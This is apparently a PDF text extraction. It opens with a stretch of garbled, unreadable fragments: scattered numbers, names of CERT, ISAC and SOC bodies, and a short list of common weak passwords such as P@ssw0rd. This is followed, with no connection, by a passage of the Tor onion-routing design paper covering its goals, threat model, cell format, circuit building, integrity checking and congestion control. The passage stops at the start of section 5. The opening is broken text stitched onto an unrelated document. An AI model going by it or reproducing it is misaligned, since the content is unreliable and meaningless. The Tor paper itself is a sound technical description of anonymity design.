81 8 0 781 8 5 5o05o6e 1 //0 081 8 5 900 G0281 8 6C0o1 C 5 0e 1 C 808 1 8 5 107 01 8 • 09 • I04lgC 27 2.1 5/ 5 .1 / 5 3.3/ 50IP 0C/ 5 50IP 0C/ 5 2.1 5/ 5 7. A3./ 5 3 3/ 09/ 5 0/ 5 0/ 5 6648.5.5 M S T B S iB ncP S T M 28 • 5D1B3 08 41B3 A92 56C 4 Aa123456 7 1qaz@WSX 8 asdf1234 9 P@ssw0rd B B B B 29 30 31 P-D ØP-D l()9 l50V9 lO0C 0 I01 2TA 9 32 t iP: o t O : e D aGr: e D C e bA : C S e l 72169098453: Ak e 33 34 Ø • 4 • 4 • 4 • a4 Ø • 0% 20% 40% 60% 80% 100% 120% 54 55 56 57 58 59 510 511 512 513 514 515 516 5 / 35 36 37 ØA Ø Ø ØT T ØP P 38 39 WEAKNESSES SOLUTIONS 40 41 42 O O C 02 03 04 /T I 43 01 ( • • • • • • A • VS • • • NNV 44 (2/2) 4 2 1 4 3 3 4 3 3 45 ( • • • • • • • • • 46 4 • 13V75 60 ) (3 62 /5 P 1)(2 N 47 Ø l P l I /TAI Ø lP lSD P 48 Ø Ø48 Ø12449 Ø08 lA 49 Ø 3 ØN l0765PV p1 p76 5 p )(2 50 Ø64 Ø105438 51 ( Ø( ü) ü pV) pV) C 52 ØE ) ) 53 •1 • •49 • I ü ü8 ü37 • 0 ü ü • I • 2 • 37 • 372 I ü ü5 ü 0 617 78 2 617 7 8 2 61 12 54 ( )( 55 37 ( ( ) ) I C 38 16 • • • ) ( • •) ( 56 57 B S National CERT National ISAC National SOC CERT ISAC SOC CSIRT A A CSIRT B B CSIRT C SOC C C MSSP A (Situation Awareness) ()) ( ) GCB 58 59 60 49 ( 4 9 6 ) 49 (9 9 9 G-- 8- -- - - - ) 9 ( 9 1 9 1( 9 4 . 4 07 93 l 45. 160 23 l (45 ) l 45 l 45 p p 6 p p p p p p p 0 p p p p 1 p 7 p p 8 8 p 62 62 ) 1 G G (WTO 55 SS G A S5 SG 2 ((SI O 3G S4 CG o 63 O O 64 F GC (()((( 65 (// ) (/ ) (//// /) (///) 66 ‒ ‒ ‒ ‒ ‒ ‒ ‒ ‒ ‒ ‒ 67 68 O B B WKy C ) S c U S shd jAvE B B xi otl TOD T P oO (m TIez PDaE Rbn Ppr 69 70 71 )3 2 ) • + • ) • 503 2 ) 2 3( 4( . 1 1 1 ) 3( 72 73 1) 3. 2 38 (42 8 WyjlCm 74 o ( ts ) ts aIDC cK R K i A hDC nR xlz vibC Rl rl x Ep WcO ed 75 Ø Ø Ø Ø Ø Ø 76 )( 77 )( 78 )( 79
pdf
Tor: The Second-Generation Onion Router Roger Dingledine The Free Haven Project arma@freehaven.net Nick Mathewson The Free Haven Project nickm@freehaven.net Paul Syverson Naval Research Lab syverson@itd.nrl.navy.mil Abstract We present Tor, a circuit-based low-latency anonymous com- munication service. This second-generation Onion Routing system addresses limitations in the original design by adding perfect forward secrecy, congestion control, directory servers, integrity checking, configurable exit policies, and a practi- cal design for location-hidden services via rendezvous points. Tor works on the real-world Internet, requires no special priv- ileges or kernel modifications, requires little synchronization or coordination between nodes, and provides a reasonable tradeoff between anonymity, usability, and efficiency. We briefly describe our experiences with an international network of more than 30 nodes. We close with a list of open problems in anonymous communication. 1 Overview Onion Routing is a distributed overlay network designed to anonymize TCP-based applications like web browsing, se- cure shell, and instant messaging. Clients choose a path through the network and build a circuit, in which each node (or “onion router” or “OR”) in the path knows its predecessor and successor, but no other nodes in the circuit. Traffic flows down the circuit in fixed-size cells, which are unwrapped by a symmetric key at each node (like the layers of an onion) and relayed downstream. The Onion Routing project published several design and analysis papers [27, 41, 48, 49]. While a wide area Onion Routing network was deployed briefly, the only long-running public implementation was a fragile proof- of-concept that ran on a single machine. Even this simple deployment processed connections from over sixty thousand distinct IP addresses from all over the world at a rate of about fifty thousand per day. But many critical design and deploy- ment issues were never resolved, and the design has not been updated in years. Here we describe Tor, a protocol for asyn- chronous, loosely federated onion routers that provides the following improvements over the old Onion Routing design: Perfect forward secrecy: In the original Onion Routing design, a single hostile node could record traffic and later compromise successive nodes in the circuit and force them to decrypt it. Rather than using a single multiply encrypted data structure (an onion) to lay each circuit, Tor now uses an incremental or telescoping path-building design, where the initiator negotiates session keys with each successive hop in the circuit. Once these keys are deleted, subsequently com- promised nodes cannot decrypt old traffic. As a side benefit, onion replay detection is no longer necessary, and the process of building circuits is more reliable, since the initiator knows when a hop fails and can then try extending to a new node. Separation of “protocol cleaning” from anonymity: Onion Routing originally required a separate “application proxy” for each supported application protocol—most of which were never written, so many applications were never supported. Tor uses the standard and near-ubiquitous SOCKS [32] proxy interface, allowing us to support most TCP-based programs without modification. Tor now relies on the filtering features of privacy-enhancing application-level proxies such as Privoxy [39], without trying to duplicate those features itself. No mixing, padding, or traffic shaping (yet): Onion Routing originally called for batching and reordering cells as they arrived, assumed padding between ORs, and in later designs added padding between onion proxies (users) and ORs [27, 41]. Tradeoffs between padding protection and cost were discussed, and traffic shaping algorithms were theorized [49] to provide good security without expensive padding, but no concrete padding scheme was suggested. Re- cent research [1] and deployment experience [4] suggest that this level of resource use is not practical or economical; and even full link padding is still vulnerable [33]. Thus, until we have a proven and convenient design for traffic shaping or low-latency mixing that improves anonymity against a realis- tic adversary, we leave these strategies out. Many TCP streams can share one circuit: Onion Rout- ing originally built a separate circuit for each application- level request, but this required multiple public key operations for every request, and also presented a threat to anonymity from building so many circuits; see Section 9. Tor multi- plexes multiple TCP streams along each circuit to improve efficiency and anonymity. Leaky-pipe circuit topology: Through in-band signaling within the circuit, Tor initiators can direct traffic to nodes partway down the circuit. This novel approach allows traf- fic to exit the circuit from the middle—possibly frustrating traffic shape and volume attacks based on observing the end of the circuit. (It also allows for long-range padding if future research shows this to be worthwhile.) Congestion control: Earlier anonymity designs do not ad- dress traffic bottlenecks. Unfortunately, typical approaches to load balancing and flow control in overlay networks involve inter-node control communication and global views of traffic. Tor’s decentralized congestion control uses end-to-end acks to maintain anonymity while allowing nodes at the edges of the network to detect congestion or flooding and send less data until the congestion subsides. Directory servers: The earlier Onion Routing design planned to flood state information through the network—an approach that can be unreliable and complex. Tor takes a simplified view toward distributing this information. Cer- tain more trusted nodes act as directory servers: they provide signed directories describing known routers and their current state. Users periodically download them via HTTP. Variable exit policies: Tor provides a consistent mecha- nism for each node to advertise a policy describing the hosts and ports to which it will connect. These exit policies are crit- ical in a volunteer-based distributed infrastructure, because each operator is comfortable with allowing different types of traffic to exit from his node. End-to-end integrity checking: The original Onion Rout- ing design did no integrity checking on data. Any node on the circuit could change the contents of data cells as they passed by—for example, to alter a connection request so it would connect to a different webserver, or to ‘tag’ encrypted traffic and look for corresponding corrupted traffic at the network edges [15]. Tor hampers these attacks by verifying data in- tegrity before it leaves the network. Rendezvous points and hidden services: Tor provides an integrated mechanism for responder anonymity via location- protected servers. Previous Onion Routing designs included long-lived “reply onions” that could be used to build circuits to a hidden server, but these reply onions did not provide for- ward security, and became useless if any node in the path went down or rotated its keys. In Tor, clients negotiate ren- dezvous points to connect with hidden servers; reply onions are no longer required. Unlike Freedom [8], Tor does not require OS kernel patches or network stack support. This prevents us from anonymizing non-TCP protocols, but has greatly helped our portability and deployability. We have implemented all of the above features, including rendezvous points. Our source code is available under a free license, and Tor is not covered by the patent that affected dis- tribution and use of earlier versions of Onion Routing. We have deployed a wide-area alpha network to test the design, to get more experience with usability and users, and to provide a research platform for experimentation. As of this writing, the network stands at 32 nodes spread over two continents. We review previous work in Section 2, describe our goals and assumptions in Section 3, and then address the above list of improvements in Sections 4, 5, and 6. We summarize in Section 7 how our design stands up to known attacks, and talk about our early deployment experiences in Section 8. We conclude with a list of open problems in Section 9 and future work for the Onion Routing project in Section 10. 2 Related work Modern anonymity systems date to Chaum’s Mix-Net de- sign [10]. Chaum proposed hiding the correspondence be- tween sender and recipient by wrapping messages in layers of public-key cryptography, and relaying them through a path composed of “mixes.” Each mix in turn decrypts, delays, and re-orders messages before relaying them onward. Subsequent relay-based anonymity designs have diverged in two main directions. Systems like Babel [28], Mix- master [36], and Mixminion [15] have tried to maximize anonymity at the cost of introducing comparatively large and variable latencies. Because of this decision, these high- latency networks resist strong global adversaries, but intro- duce too much lag for interactive tasks like web browsing, Internet chat, or SSH connections. Tor belongs to the second category: low-latency designs that try to anonymize interactive network traffic. These sys- tems handle a variety of bidirectional protocols. They also provide more convenient mail delivery than the high-latency anonymous email networks, because the remote mail server provides explicit and timely delivery confirmation. But be- cause these designs typically involve many packets that must be delivered quickly, it is difficult for them to prevent an at- tacker who can eavesdrop both ends of the communication from correlating the timing and volume of traffic entering the anonymity network with traffic leaving it [45]. These proto- cols are similarly vulnerable to an active adversary who in- troduces timing patterns into traffic entering the network and looks for correlated patterns among exiting traffic. Although some work has been done to frustrate these attacks, most de- signs protect primarily against traffic analysis rather than traf- fic confirmation (see Section 3.1). The simplest low-latency designs are single-hop proxies such as the Anonymizer [3]: a single trusted server strips the data’s origin before relaying it. These designs are easy to analyze, but users must trust the anonymizing proxy. Concen- trating the traffic to this single point increases the anonymity set (the people a given user is hiding among), but it is vul- nerable if the adversary can observe all traffic entering and leaving the proxy. More complex are distributed-trust, circuit-based anonymizing systems. In these designs, a user estab- lishes one or more medium-term bidirectional end-to-end circuits, and tunnels data in fixed-size cells. Establishing circuits is computationally expensive and typically requires public-key cryptography, whereas relaying cells is compar- atively inexpensive and typically requires only symmetric encryption. Because a circuit crosses several servers, and each server only knows the adjacent servers in the circuit, no single server can link a user to her communication partners. The Java Anon Proxy (also known as JAP or Web MIXes) uses fixed shared routes known as cascades. As with a single-hop proxy, this approach aggregates users into larger anonymity sets, but again an attacker only needs to observe both ends of the cascade to bridge all the system’s traffic. The Java Anon Proxy’s design calls for padding between end users and the head of the cascade [7]. However, it is not demon- strated whether the current implementation’s padding policy improves anonymity. PipeNet [5, 12], another low-latency design proposed around the same time as Onion Routing, gave stronger anonymity but allowed a single user to shut down the net- work by not sending. Systems like ISDN mixes [38] were designed for other environments with different assumptions. In P2P designs like Tarzan [24] and MorphMix [43], all participants both generate traffic and relay traffic for others. These systems aim to conceal whether a given peer originated a request or just relayed it from another peer. While Tarzan and MorphMix use layered encryption as above, Crowds [42] simply assumes an adversary who cannot observe the initia- tor: it uses no public-key encryption, so any node on a circuit can read users’ traffic. Hordes [34] is based on Crowds but also uses multicast responses to hide the initiator. Herbivore [25] and P5 [46] go even further, requiring broadcast. These systems are de- signed primarily for communication among peers, although Herbivore users can make external connections by requesting a peer to serve as a proxy. Systems like Freedom and the original Onion Routing build circuits all at once, using a layered “onion” of public- key encrypted messages, each layer of which provides ses- sion keys and the address of the next server in the circuit. Tor as described herein, Tarzan, MorphMix, Cebolla [9], and Rennhard’s Anonymity Network [44] build circuits in stages, extending them one hop at a time. Section 4.2 de- scribes how this approach enables perfect forward secrecy. Circuit-based designs must choose which protocol layer to anonymize. They may intercept IP packets directly, and re- lay them whole (stripping the source address) along the cir- cuit [8, 24]. Like Tor, they may accept TCP streams and relay the data in those streams, ignoring the breakdown of that data into TCP segments [43, 44]. Finally, like Crowds, they may accept application-level protocols such as HTTP and relay the application requests themselves. Making this protocol-layer decision requires a compromise between flexi- bility and anonymity. For example, a system that understands HTTP can strip identifying information from requests, can take advantage of caching to limit the number of requests that leave the network, and can batch or encode requests to min- imize the number of connections. On the other hand, an IP- level anonymizer can handle nearly any protocol, even ones unforeseen by its designers (though these systems require kernel-level modifications to some operating systems, and so are more complex and less portable). TCP-level anonymity networks like Tor present a middle approach: they are ap- plication neutral (so long as the application supports, or can be tunneled across, TCP), but by treating application connec- tions as data streams rather than raw TCP packets, they avoid the inefficiencies of tunneling TCP over TCP. Distributed-trust anonymizing systems need to prevent at- tackers from adding too many servers and thus compromising user paths. Tor relies on a small set of well-known directory servers, run by independent parties, to decide which nodes can join. Tarzan and MorphMix allow unknown users to run servers, and use a limited resource (like IP addresses) to pre- vent an attacker from controlling too much of the network. Crowds suggests requiring written, notarized requests from potential crowd members. Anonymous communication is essential for censorship- resistant systems like Eternity [2], Free Haven [19], Pub- lius [53], and Tangler [52]. Tor’s rendezvous points enable connections between mutually anonymous entities; they are a building block for location-hidden servers, which are needed by Eternity and Free Haven. 3 Design goals and assumptions Goals Like other low-latency anonymity designs, Tor seeks to frus- trate attackers from linking communication partners, or from linking multiple communications to or from a single user. Within this main goal, however, several considerations have directed Tor’s evolution. Deployability: The design must be deployed and used in the real world. Thus it must not be expensive to run (for example, by requiring more bandwidth than volunteers are willing to provide); must not place a heavy liability burden on operators (for example, by allowing attackers to implicate onion routers in illegal activities); and must not be difficult or expensive to implement (for example, by requiring kernel patches, or separate proxies for every protocol). We also can- not require non-anonymous parties (such as websites) to run our software. (Our rendezvous point design does not meet this goal for non-anonymous users talking to hidden servers, however; see Section 5.) Usability: A hard-to-use system has fewer users—and be- cause anonymity systems hide users among users, a system with fewer users provides less anonymity. Usability is thus not only a convenience: it is a security requirement [1, 5]. Tor should therefore not require modifying familiar applica- tions; should not introduce prohibitive delays; and should re- quire as few configuration decisions as possible. Finally, Tor should be easily implementable on all common platforms; we cannot require users to change their operating system to be anonymous. (Tor currently runs on Win32, Linux, Solaris, BSD-style Unix, MacOS X, and probably others.) Flexibility: The protocol must be flexible and well- specified, so Tor can serve as a test-bed for future research. Many of the open problems in low-latency anonymity net- works, such as generating dummy traffic or preventing Sybil attacks [22], may be solvable independently from the issues solved by Tor. Hopefully future systems will not need to rein- vent Tor’s design. Simple design: The protocol’s design and security param- eters must be well-understood. Additional features impose implementation and complexity costs; adding unproven techniques to the design threatens deployability, readability, and ease of security analysis. Tor aims to deploy a simple and stable system that integrates the best accepted approaches to protecting anonymity. Non-goals In favoring simple, deployable designs, we have explicitly de- ferred several possible goals, either because they are solved elsewhere, or because they are not yet solved. Not peer-to-peer: Tarzan and MorphMix aim to scale to completely decentralized peer-to-peer environments with thousands of short-lived servers, many of which may be con- trolled by an adversary. This approach is appealing, but still has many open problems [24, 43]. Not secure against end-to-end attacks: Tor does not claim to completely solve end-to-end timing or intersection attacks. Some approaches, such as having users run their own onion routers, may help; see Section 9 for more discussion. No protocol normalization: Tor does not provide proto- col normalization like Privoxy or the Anonymizer. If senders want anonymity from responders while using complex and variable protocols like HTTP, Tor must be layered with a filtering proxy such as Privoxy to hide differences between clients, and expunge protocol features that leak identity. Note that by this separation Tor can also provide services that are anonymous to the network yet authenticated to the responder, like SSH. Similarly, Tor does not integrate tunneling for non- stream-based protocols like UDP; this must be provided by an external service if appropriate. Not steganographic: Tor does not try to conceal who is connected to the network. 3.1 Threat Model A global passive adversary is the most commonly assumed threat when analyzing theoretical anonymity designs. But like all practical low-latency systems, Tor does not protect against such a strong adversary. Instead, we assume an adver- sary who can observe some fraction of network traffic; who can generate, modify, delete, or delay traffic; who can oper- ate onion routers of his own; and who can compromise some fraction of the onion routers. In low-latency anonymity systems that use layered encryp- tion, the adversary’s typical goal is to observe both the ini- tiator and the responder. By observing both ends, passive at- tackers can confirm a suspicion that Alice is talking to Bob if the timing and volume patterns of the traffic on the connec- tion are distinct enough; active attackers can induce timing signatures on the traffic to force distinct patterns. Rather than focusing on these traffic confirmation attacks, we aim to pre- vent traffic analysis attacks, where the adversary uses traffic patterns to learn which points in the network he should attack. Our adversary might try to link an initiator Alice with her communication partners, or try to build a profile of Alice’s behavior. He might mount passive attacks by observing the network edges and correlating traffic entering and leaving the network—by relationships in packet timing, volume, or ex- ternally visible user-selected options. The adversary can also mount active attacks by compromising routers or keys; by re- playing traffic; by selectively denying service to trustworthy routers to move users to compromised routers, or denying ser- vice to users to see if traffic elsewhere in the network stops; or by introducing patterns into traffic that can later be detected. The adversary might subvert the directory servers to give users differing views of network state. Additionally, he can try to decrease the network’s reliability by attacking nodes or by performing antisocial activities from reliable nodes and trying to get them taken down—making the network unre- liable flushes users to other less anonymous systems, where they may be easier to attack. We summarize in Section 7 how well the Tor design defends against each of these attacks. 4 The Tor Design The Tor network is an overlay network; each onion router (OR) runs as a normal user-level process without any special privileges. Each onion router maintains a TLS [17] connec- tion to every other onion router. Each user runs local software called an onion proxy (OP) to fetch directories, establish cir- cuits across the network, and handle connections from user applications. These onion proxies accept TCP streams and multiplex them across the circuits. The onion router on the other side of the circuit connects to the requested destinations and relays data. Each onion router maintains a long-term identity key and a short-term onion key. The identity key is used to sign TLS certificates, to sign the OR’s router descriptor (a summary of its keys, address, bandwidth, exit policy, and so on), and (by directory servers) to sign directories. The onion key is used to decrypt requests from users to set up a circuit and negotiate ephemeral keys. The TLS protocol also establishes a short- term link key when communicating between ORs. Short-term keys are rotated periodically and independently, to limit the impact of key compromise. Section 4.1 presents the fixed-size cells that are the unit of communication in Tor. We describe in Section 4.2 how circuits are built, extended, truncated, and destroyed. Sec- tion 4.3 describes how TCP streams are routed through the network. We address integrity checking in Section 4.4, and resource limiting in Section 4.5. Finally, Section 4.6 talks about congestion control and fairness issues. 4.1 Cells Onion routers communicate with one another, and with users’ OPs, via TLS connections with ephemeral keys. Using TLS conceals the data on the connection with perfect forward se- crecy, and prevents an attacker from modifying data on the wire or impersonating an OR. Traffic passes along these connections in fixed-size cells. Each cell is 512 bytes, and consists of a header and a pay- load. The header includes a circuit identifier (circID) that specifies which circuit the cell refers to (many circuits can be multiplexed over the single TLS connection), and a com- mand to describe what to do with the cell’s payload. (Circuit identifiers are connection-specific: each circuit has a differ- ent circID on each OP/OR or OR/OR connection it traverses.) Based on their command, cells are either control cells, which are always interpreted by the node that receives them, or re- lay cells, which carry end-to-end stream data. The control cell commands are: padding (currently used for keepalive, but also usable for link padding); create or created (used to set up a new circuit); and destroy (to tear down a circuit). Relay cells have an additional header (the relay header) at the front of the payload, containing a streamID (stream iden- tifier: many streams can be multiplexed over a circuit); an end-to-end checksum for integrity checking; the length of the relay payload; and a relay command. The entire contents of the relay header and the relay cell payload are encrypted or decrypted together as the relay cell moves along the circuit, using the 128-bit AES cipher in counter mode to generate a cipher stream. The relay commands are: relay data (for data flowing down the stream), relay begin (to open a stream), re- lay end (to close a stream cleanly), relay teardown (to close a broken stream), relay connected (to notify the OP that a relay begin has succeeded), relay extend and relay extended (to ex- tend the circuit by a hop, and to acknowledge), relay truncate and relay truncated (to tear down only part of the circuit, and to acknowledge), relay sendme (used for congestion control), and relay drop (used to implement long-range dummies). We give a visual overview of cell structure plus the details of re- lay cell structure, and then describe each of these cell types and commands in more detail below. CircID 2 Relay StreamID Digest Len DATA CircID CMD 2 1 DATA 2 CMD 1 509 bytes 1 2 6 498 4.2 Circuits and streams Onion Routing originally built one circuit for each TCP stream. Because building a circuit can take several tenths of a second (due to public-key cryptography and network la- tency), this design imposed high costs on applications like web browsing that open many TCP streams. In Tor, each circuit can be shared by many TCP streams. To avoid delays, users construct circuits preemptively. To limit linkability among their streams, users’ OPs build a new circuit periodically if the previous ones have been used, and expire old used circuits that no longer have any open streams. OPs consider rotating to a new circuit once a minute: thus even heavy users spend negligible time building circuits, but a limited number of requests can be linked to each other through a given exit node. Also, because circuits are built in the background, OPs can recover from failed circuit creation without harming user experience. OR 1 Alice OR 2 "HTTP GET..." . . . . . . . . . (TCP handshake) website {X}−−AES encryption E(x)−−RSA encryption Legend: (link is TLS−encrypted) Relay c1{Extend, OR2, E(g^x2)} Relay c1{{Begin <website>:80}} Relay c1{Extended, g^y2, H(K2)} Relay c2{Begin <website>:80} Relay c1{{Connected}} Relay c2{Connected} Relay c1{{Data, "HTTP GET..."}} Relay c2{Data, "HTTP GET..."} (link is TLS−encryped) (unencrypted) cN−−a circID Relay c1{{Data, (response)}} (response) Relay c2{Data, (response)} Created c2, g^y2, H(K2) Create c2, E(g^x2) Create c1, E(g^x1) Created c1, g^y1, H(K1) Figure 1: Alice builds a two-hop circuit and begins fetching a web page. Constructing a circuit A user’s OP constructs circuits incrementally, negotiating a symmetric key with each OR on the circuit, one hop at a time. To begin creating a new circuit, the OP (call her Alice) sends a create cell to the first node in her chosen path (call him Bob). (She chooses a new circID CAB not currently used on the connection from her to Bob.) The create cell’s payload contains the first half of the Diffie-Hellman handshake (gx), encrypted to the onion key of the OR (call him Bob). Bob responds with a created cell containing gy along with a hash of the negotiated key K = gxy. Once the circuit has been established, Alice and Bob can send one another relay cells encrypted with the negotiated key.1 More detail is given in the next section. To extend the circuit further, Alice sends a relay extend cell to Bob, specifying the address of the next OR (call her Carol), and an encrypted gx2 for her. Bob copies the half-handshake into a create cell, and passes it to Carol to extend the cir- cuit. (Bob chooses a new circID CBC not currently used on the connection between him and Carol. Alice never needs to know this circID; only Bob associates CAB on his connec- tion with Alice to CBC on his connection with Carol.) When Carol responds with a created cell, Bob wraps the payload into a relay extended cell and passes it back to Alice. Now the circuit is extended to Carol, and Alice and Carol share a common key K2 = gx2y2. To extend the circuit to a third node or beyond, Alice pro- ceeds as above, always telling the last node in the circuit to extend one hop further. This circuit-level handshake protocol achieves unilateral entity authentication (Alice knows she’s handshaking with the OR, but the OR doesn’t care who is opening the circuit— Alice uses no public key and remains anonymous) and unilat- eral key authentication (Alice and the OR agree on a key, and Alice knows only the OR learns it). It also achieves forward secrecy and key freshness. More formally, the protocol is as follows (where EP KBob(·) is encryption with Bob’s public key, H is a secure hash function, and | is concatenation): Alice → Bob : EP KBob(gx) Bob → Alice : gy, H(K|“handshake”) In the second step, Bob proves that it was he who received gx, and who chose y. We use PK encryption in the first step (rather than, say, using the first two steps of STS, which has a signature in the second step) because a single cell is too small to hold both a public key and a signature. Preliminary analysis with the NRL protocol analyzer [35] shows this protocol to be secure (including perfect forward secrecy) under the traditional Dolev-Yao model. Relay cells Once Alice has established the circuit (so she shares keys with each OR on the circuit), she can send relay cells. Upon re- ceiving a relay cell, an OR looks up the corresponding circuit, and decrypts the relay header and payload with the session key for that circuit. If the cell is headed away from Alice the OR then checks whether the decrypted cell has a valid digest (as an optimization, the first two bytes of the integrity check are zero, so in most cases we can avoid computing the hash). If valid, it accepts the relay cell and processes it as described below. Otherwise, the OR looks up the circID and OR for the next step in the circuit, replaces the circID as appropriate, and sends the decrypted relay cell to the next OR. (If the OR at the end of the circuit receives an unrecognized relay cell, an error has occurred, and the circuit is torn down.) 1Actually, the negotiated key is used to derive two symmetric keys: one for each direction. OPs treat incoming relay cells similarly: they iteratively unwrap the relay header and payload with the session keys shared with each OR on the circuit, from the closest to far- thest. If at any stage the digest is valid, the cell must have originated at the OR whose encryption has just been removed. To construct a relay cell addressed to a given OR, Alice as- signs the digest, and then iteratively encrypts the cell payload (that is, the relay header and payload) with the symmetric key of each hop up to that OR. Because the digest is encrypted to a different value at each step, only at the targeted OR will it have a meaningful value.2 This leaky pipe circuit topol- ogy allows Alice’s streams to exit at different ORs on a sin- gle circuit. Alice may choose different exit points because of their exit policies, or to keep the ORs from knowing that two streams originate from the same person. When an OR later replies to Alice with a relay cell, it en- crypts the cell’s relay header and payload with the single key it shares with Alice, and sends the cell back toward Alice along the circuit. Subsequent ORs add further layers of en- cryption as they relay the cell back to Alice. To tear down a circuit, Alice sends a destroy control cell. Each OR in the circuit receives the destroy cell, closes all streams on that circuit, and passes a new destroy cell forward. But just as circuits are built incrementally, they can also be torn down incrementally: Alice can send a relay truncate cell to a single OR on a circuit. That OR then sends a destroy cell forward, and acknowledges with a relay truncated cell. Alice can then extend the circuit to different nodes, without signal- ing to the intermediate nodes (or a limited observer) that she has changed her circuit. Similarly, if a node on the circuit goes down, the adjacent node can send a relay truncated cell back to Alice. Thus the “break a node and see which circuits go down” attack [4] is weakened. 4.3 Opening and closing streams When Alice’s application wants a TCP connection to a given address and port, it asks the OP (via SOCKS) to make the connection. The OP chooses the newest open circuit (or cre- ates one if needed), and chooses a suitable OR on that circuit to be the exit node (usually the last node, but maybe others due to exit policy conflicts; see Section 6.2.) The OP then opens the stream by sending a relay begin cell to the exit node, using a new random streamID. Once the exit node connects to the remote host, it responds with a relay connected cell. Upon receipt, the OP sends a SOCKS reply to notify the ap- plication of its success. The OP now accepts data from the application’s TCP stream, packaging it into relay data cells and sending those cells along the circuit to the chosen OR. There’s a catch to using SOCKS, however—some applica- tions pass the alphanumeric hostname to the Tor client, while others resolve it into an IP address first and then pass the IP 2With 48 bits of digest per cell, the probability of an accidental collision is far lower than the chance of hardware failure. address to the Tor client. If the application does DNS resolu- tion first, Alice thereby reveals her destination to the remote DNS server, rather than sending the hostname through the Tor network to be resolved at the far end. Common applications like Mozilla and SSH have this flaw. With Mozilla, the flaw is easy to address: the filtering HTTP proxy called Privoxy gives a hostname to the Tor client, so Alice’s computer never does DNS resolution. But a portable general solution, such as is needed for SSH, is an open problem. Modifying or replacing the local nameserver can be invasive, brittle, and unportable. Forcing the resolver library to prefer TCP rather than UDP is hard, and also has portability problems. Dynamically intercepting system calls to the resolver library seems a promising direction. We could also provide a tool similar to dig to perform a private lookup through the Tor network. Currently, we encourage the use of privacy-aware proxies like Privoxy wherever possible. Closing a Tor stream is analogous to closing a TCP stream: it uses a two-step handshake for normal operation, or a one- step handshake for errors. If the stream closes abnormally, the adjacent node simply sends a relay teardown cell. If the stream closes normally, the node sends a relay end cell down the circuit, and the other side responds with its own relay end cell. Because all relay cells use layered encryption, only the destination OR knows that a given relay cell is a request to close a stream. This two-step handshake allows Tor to support TCP-based applications that use half-closed connections. 4.4 Integrity checking on streams Because the old Onion Routing design used a stream cipher without integrity checking, traffic was vulnerable to a mal- leability attack: though the attacker could not decrypt cells, any changes to encrypted data would create corresponding changes to the data leaving the network. This weakness al- lowed an adversary who could guess the encrypted content to change a padding cell to a destroy cell; change the destination address in a relay begin cell to the adversary’s webserver; or change an FTP command from dir to rm *. (Even an ex- ternal adversary could do this, because the link encryption similarly used a stream cipher.) Because Tor uses TLS on its links, external adversaries cannot modify data. Addressing the insider malleability at- tack, however, is more complex. We could do integrity checking of the relay cells at each hop, either by including hashes or by using an authenticating cipher mode like EAX [6], but there are some problems. First, these approaches impose a message-expansion overhead at each hop, and so we would have to either leak the path length or waste bytes by padding to a maximum path length. Sec- ond, these solutions can only verify traffic coming from Al- ice: ORs would not be able to produce suitable hashes for the intermediate hops, since the ORs on a circuit do not know the other ORs’ session keys. Third, we have already accepted that our design is vulnerable to end-to-end timing attacks; so tagging attacks performed within the circuit provide no addi- tional information to the attacker. Thus, we check integrity only at the edges of each stream. (Remember that in our leaky-pipe circuit topology, a stream’s edge could be any hop in the circuit.) When Alice negotiates a key with a new hop, they each initialize a SHA-1 digest with a derivative of that key, thus beginning with randomness that only the two of them know. Then they each incrementally add to the SHA-1 digest the contents of all relay cells they create, and include with each relay cell the first four bytes of the current digest. Each also keeps a SHA-1 digest of data received, to verify that the received hashes are correct. To be sure of removing or modifying a cell, the attacker must be able to deduce the current digest state (which de- pends on all traffic between Alice and Bob, starting with their negotiated key). Attacks on SHA-1 where the adversary can incrementally add to a hash to produce a new valid hash don’t work, because all hashes are end-to-end encrypted across the circuit. The computational overhead of computing the digests is minimal compared to doing the AES encryption performed at each hop of the circuit. We use only four bytes per cell to minimize overhead; the chance that an adversary will cor- rectly guess a valid hash is acceptably low, given that the OP or OR tear down the circuit if they receive a bad hash. 4.5 Rate limiting and fairness Volunteers are more willing to run services that can limit their bandwidth usage. To accommodate them, Tor servers use a token bucket approach [50] to enforce a long-term aver- age rate of incoming bytes, while still permitting short-term bursts above the allowed bandwidth. Because the Tor protocol outputs about the same number of bytes as it takes in, it is sufficient in practice to limit only incoming bytes. With TCP streams, however, the correspon- dence is not one-to-one: relaying a single incoming byte can require an entire 512-byte cell. (We can’t just wait for more bytes, because the local application may be awaiting a reply.) Therefore, we treat this case as if the entire cell size had been read, regardless of the cell’s fullness. Further, inspired by Rennhard et al’s design in [44], a cir- cuit’s edges can heuristically distinguish interactive streams from bulk streams by comparing the frequency with which they supply cells. We can provide good latency for interactive streams by giving them preferential service, while still giving good overall throughput to the bulk streams. Such prefer- ential treatment presents a possible end-to-end attack, but an adversary observing both ends of the stream can already learn this information through timing attacks. 4.6 Congestion control Even with bandwidth rate limiting, we still need to worry about congestion, either accidental or intentional. If enough users choose the same OR-to-OR connection for their cir- cuits, that connection can become saturated. For example, an attacker could send a large file through the Tor network to a webserver he runs, and then refuse to read any of the bytes at the webserver end of the circuit. Without some con- gestion control mechanism, these bottlenecks can propagate back through the entire network. We don’t need to reimple- ment full TCP windows (with sequence numbers, the abil- ity to drop cells when we’re full and retransmit later, and so on), because TCP already guarantees in-order delivery of each cell. We describe our response below. Circuit-level throttling: To control a circuit’s bandwidth usage, each OR keeps track of two windows. The packaging window tracks how many relay data cells the OR is allowed to package (from incoming TCP streams) for transmission back to the OP, and the delivery window tracks how many relay data cells it is willing to deliver to TCP streams outside the network. Each window is initialized (say, to 1000 data cells). When a data cell is packaged or delivered, the appropriate window is decremented. When an OR has received enough data cells (currently 100), it sends a relay sendme cell towards the OP, with streamID zero. When an OR receives a relay sendme cell with streamID zero, it increments its packaging window. Either of these cells increments the corresponding window by 100. If the packaging window reaches 0, the OR stops reading from TCP connections for all streams on the corresponding circuit, and sends no more relay data cells until receiving a relay sendme cell. The OP behaves identically, except that it must track a packaging window and a delivery window for every OR in the circuit. If a packaging window reaches 0, it stops reading from streams destined for that OR. Stream-level throttling: The stream-level congestion con- trol mechanism is similar to the circuit-level mechanism. ORs and OPs use relay sendme cells to implement end-to-end flow control for individual streams across circuits. Each stream begins with a packaging window (currently 500 cells), and increments the window by a fixed value (50) upon receiv- ing a relay sendme cell. Rather than always returning a relay sendme cell as soon as enough cells have arrived, the stream- level congestion control also has to check whether data has been successfully flushed onto the TCP stream; it sends the relay sendme cell only when the number of bytes pending to be flushed is under some threshold (currently 10 cells’ worth). These arbitrarily chosen parameters seem to give tolerable throughput and delay; see Section 8. 5 